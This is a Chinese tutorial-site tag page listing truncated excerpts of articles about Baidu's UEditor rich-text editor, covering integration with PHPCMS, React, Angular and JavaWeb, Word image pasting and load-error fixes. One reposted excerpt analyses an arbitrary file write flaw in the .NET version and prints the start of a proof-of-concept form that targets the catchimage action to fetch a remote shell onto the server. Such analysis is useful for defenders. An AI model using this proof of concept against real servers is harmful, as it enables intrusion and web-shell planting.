ueditor编辑器 | 易学教程

PHPCMS_整合UEditor编辑器

阅读更多关于 PHPCMS_整合UEditor编辑器

①先到官网下载资源包（先定制编辑器导航工具，再下载） ②上传到phpcms默认的js文件路径，上传后的文件路径如下 \statics\js\ueditor\ ②打开/phpcms/libs/classes/form.class.php，找到如下代码： if(!defined('EDITOR_INIT')) { $str = '<script type="text/javascript" src="'.JS_PATH.'ckeditor/ckeditor.js"></script>'; define('EDITOR_INIT', 1); } 替换成： if(!defined('EDITOR_INIT')) { $str = '<script type="text/javascript" src="'.JS_PATH.'ueditor/editor_config.js"></script>'; $str .= '<script type="text/javascript" src="'.JS_PATH.'ueditor/editor_all.js"></script>'; $str .= '<link rel="stylesheet" href="'.JS_PATH.'ueditor/themes/default/ueditor.css"/>'; define('EDITOR_INIT

使用UEditor 报错Cannot read property 'nodeType' of undefined 解决办法

阅读更多关于使用UEditor 报错Cannot read property 'nodeType' of undefined 解决办法

报如下错误解决办法： //对编辑器的操作最好在编辑器ready之后再做 ue.ready(function() { })  <script type="text/javascript"> $(function(){ var ue = UE.getEditor("container",{ autoHeight: false }); /对编辑器的操作最好在编辑器ready之后再做 ue.ready(function() { //设置编辑器的内容 ue.setContent('hello'); //获取html内容，返回: <p>hello</p> var html = ue.getContent(); alert(html) //获取纯文本内容，返回: hello var txt = ue.getContentTxt(); alert(txt); }); }); </script> 来源： https://www.cnblogs.com/linhuaming/p/11966247.html

[转]UEditor编辑器两个版本任意文件上传漏洞分析

阅读更多关于 [转]UEditor编辑器两个版本任意文件上传漏洞分析

0x01 前言 UEditor是由百度WEB前端研发部开发的所见即所得的开源富文本编辑器，具有轻量、可定制、用户体验优秀等特点，被广大WEB应用程序所使用；本次爆出的高危漏洞属于.NET版本，其它的版本暂时不受影响。漏洞成因是在抓取远程数据源的时候未对文件后缀名做验证导致任意文件写入漏洞，黑客利用此漏洞可以在服务器上执行任意指令，综合评级高危。由于时间仓促，本文分析不到位的地方还请多多谅解。 0x02 漏洞利用笔者本地测试的编辑器是百度官方下载最新的版本1.4.3.3 http://ueditor.baidu.com/website/download.html 本地构造一个html，因为不是上传漏洞所以enctype 不需要指定为multipart/form-data ，之前见到有poc指定了这个值。完整的poc如下 1 <form action="http://xxxxxxxxx/controller.ashx?action=catchimage" enctype="application/x-www-form-urlencoded" method="POST"> 2 <p>shell addr: <input type="text" name="source[]" /></p > 3 <input type="submit" value="Submit" /> 4 <

ueditor百度编辑器destoon的word图片转存功能

阅读更多关于 ueditor百度编辑器destoon的word图片转存功能

图片的复制无非有两种方法，一种是图片直接上传到服务器，另外一种转换成二进制流的base64码目前限chrome浏览器使用首先以um-editor的二进制流保存为例：打开umeditor.js，找到UM.plugins['autoupload']，然后找到autoUploadHandler方法，注释掉其中的代码。加入下面的代码： // 判断剪贴板的内容是否包含文本 // 首先解释一下为什么要判断文本是不是为空 // 在ctrl+c word中的文字或者图片之后会返回1种(image/png)或者4种type(text/plain,text/html,text/rtf,image/png)类型的对象 // 为了兼容4种格式的情况，做了如下的判断 // 如下代码：e.originalEvent.clipboardData.items获得剪贴板的内容 // 当粘贴了文本之后text是不为空的，同时也会返回当前文本的图片类型 // 如果有文字的话不做任何的处理，如果只粘贴图片的话文本一定是空的，包括复制的桌面图片或者截图的图片 var text = e.originalEvent.clipboardData.getData("text"); if(text == ""){ var items=e.originalEvent.clipboardData.items; for (var

React中使用UEditor

阅读更多关于 React中使用UEditor

前言本文将介绍笔者在React的项目中使用百度的富文本编辑器Ueditor的过程。注意本文不提供一条龙式的使用方法，只是将使用过程中的一些实现思路进行总结，供以参考。react项目中导入ueditor，会存在各种不正交的问题，需要注意。引入首先在ueditor官网下载最新安装包，然后在项目入口的html中导入（导入方式不一，可以采用import的方式，需要自行度娘。但是无论哪种引入方式，只要想自定义功能，不正交问题就难以避免QAQ）。不管三七二十一先跑起来再说。。 <!DOCTYPE HTML> <html lang="en-US"> <head> <meta charset="UTF-8"> <title>ueditor demo</title> </head> <body>  <script type="text/javascript" src="path/ueditor.config.js"></script>  <script type="text/javascript" src="path/ueditor.all.js"></script> ······ </body> </html> 在React项目中使用ueditor要注意导入的路径，笔者使用的是项目经webpack打包之后的相对路径。导入顺序

ueditor编辑器+粘贴word

阅读更多关于 ueditor编辑器+粘贴word

最近公司做项目需要实现一个功能，在网页富文本编辑器中实现粘贴Word图文的功能。我们在网站中使用的Web编辑器比较多，都是根据用户需求来选择的。目前还没有固定哪一个编辑器有时候用的是UEditor,有时候用的CKEditor,KindEditor,TinyMCE。在网上查了很多资料，UEditor和其它的Web编辑器（富文本编辑器）在Chrome中可以支持单张图片粘贴。但是我们的用户需要处理的是Word中的图片和文字，一般情况下Word中的图片可能有十几张。有时候有几十张。特别是用户发一些教程或者使用说明类的文档时图片都是大几十张的。在网上找到说UEditor支持word粘贴，试了一下，只支持一张图片的粘贴。多张图片粘贴还需要用户自已手动选择。也就是说如果用户粘贴的Word中包含20张图片的话，那么用户就需要手动选择20次，这种操作用户是不可能接受的。网上找了很久，大部分都有一些不成熟的问题，皇天不负有心人终于让我找到了一个成熟的项目。 1、前端引用代码 <!DOCTYPEhtml PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <htmlxmlns="http://www.w3.org/1999/xhtml

Angular之编辑器插件

阅读更多关于 Angular之编辑器插件

第一步，导入： <script src="ngUeditor.js"></script> 第二步，引入Js文件 app.directive('ngUeditor', function () { return { restrict: 'AE', transclude: true, replace: true, template: '<script name="content" type="text/plain" ng-transclude @style></script>', require: '?ngModel', scope: { config: '=', style:'@' }, link: function (scope, element, attrs, ngModel) { var editor = new UE.ui.Editor(scope.config || {}); var _editorId = attrs.id ? attrs.id : "_editor" + (Date.now()); element[0].id = _editorId; editor.render(element[0]); editor.ready(function() { //图片上传回调 editor.addListener('beforeInsertImage', function

基于UEditor编辑器二次开发

阅读更多关于基于UEditor编辑器二次开发

需求： 1、在原有ueditor编辑器的音频上添加标题； 2、在原有ueditor编辑器的视频上添加上传封面图片(ps:就不能后台获取吗。。一定要前端做)；准备资料：(心路历程...) 头儿说：我们的原则是，不能改变他本身的ueditor.all.min.js 或者ueditor.all.js.........不能改变！不能改变！不能改变！ 1、我们的后台是.net环境，首先，我去下载了UE的完整包，在这个目录下可以看到他的完整的插件管理代码：这里的插件代码可以对照着ueditor.all.js里面看，就能大致明白添加插件的流程（如果可以改核心的这个文件，就方便多了.....）； 2、http://fex.baidu.com/ueditor/#dev-developer 这个是官方的二次开发文档； 3、http://www.dookay.com/n/12290 这个是网上提供的二次开发的例子；开始： 1、在原有的引入ueditor的下面加上如下代码， <script type = "text/plain" id = "myEditor" > </script> <script src = "/js/UE/addTool.js" ></script> /*这个页面中放新增的按钮*/ 2、addTool.js中的内容如下： UE . registerUI ( 'lspace

解决ueditor二次加载(getEditor)加载失败的问题

阅读更多关于解决ueditor二次加载(getEditor)加载失败的问题

　　最近在做项目的时候用到了ueditor控件，正常使用第一次加载没有问题，因为没有刷新页面，第二次加载的时候就会加载失败，ueditor部分出现空白，查看了一下功能基本可以定位到是getEditor时出现了问题，具体怎么解决直到我发现了下面的这篇博文，具体内容如下：大家自己看看官方的js文件ueditor.all.js有以下的代码 /** * @name getEditor * @since 1.2.4+ * @grammar UE.getEditor(id,[opt]) => Editor实例 * @desc 提供一个全局的方法得到编辑器实例 * * * ''id'' 放置编辑器的容器id, 如果容器下的编辑器已经存在，就直接返回 * * ''opt'' 编辑器的可选参数 * @example * UE.getEditor('containerId',{onready:function(){//创建一个编辑器实例 * this.setContent('hello') * }}); * UE.getEditor('containerId'); //返回刚创建的实例 * */ UE . getEditor = function ( id , opt ) { var editor = instances [ id ]; if (! editor ) { editor =

富文本编辑器

阅读更多关于富文本编辑器

富文本编辑器 1步：官网下载 http://ueditor.baidu.com/website/index.html 2步：UEditor在JavaWeb中的应用（1）解压（2）拷贝解压后的文件到工程webroot中（3）解压文件中的jsp/lib中的.jar全部拷贝到工程中lib中（4）书写代码 4.1导入js 4.2调用编辑器 <script id="editor" type="text/plain" style="width:1024px;height:500px;"></script> 4.3初始化编辑器 <script type="text/javascript"> //实例化编辑器 //建议使用工厂方法getEditor创建和引用编辑器实例，如果在某个闭包下引用该编辑器， //直接调用UE.getEditor('editor')就能拿到相关的实例 var ue = UE.getEditor('editor'); </script> （5）配置图片路径 5.1编辑富文本文件目录下的 -> jsp -> lib -> 下的config.json文件 “imageUrlPrefix”: “/0824”, /* 图片访问路径前缀 / 配置项目名称 “imagePathFormat”: “/image/{yyyy}{mm}{dd}/{time}{rand:6}”, /

订阅 ueditor编辑器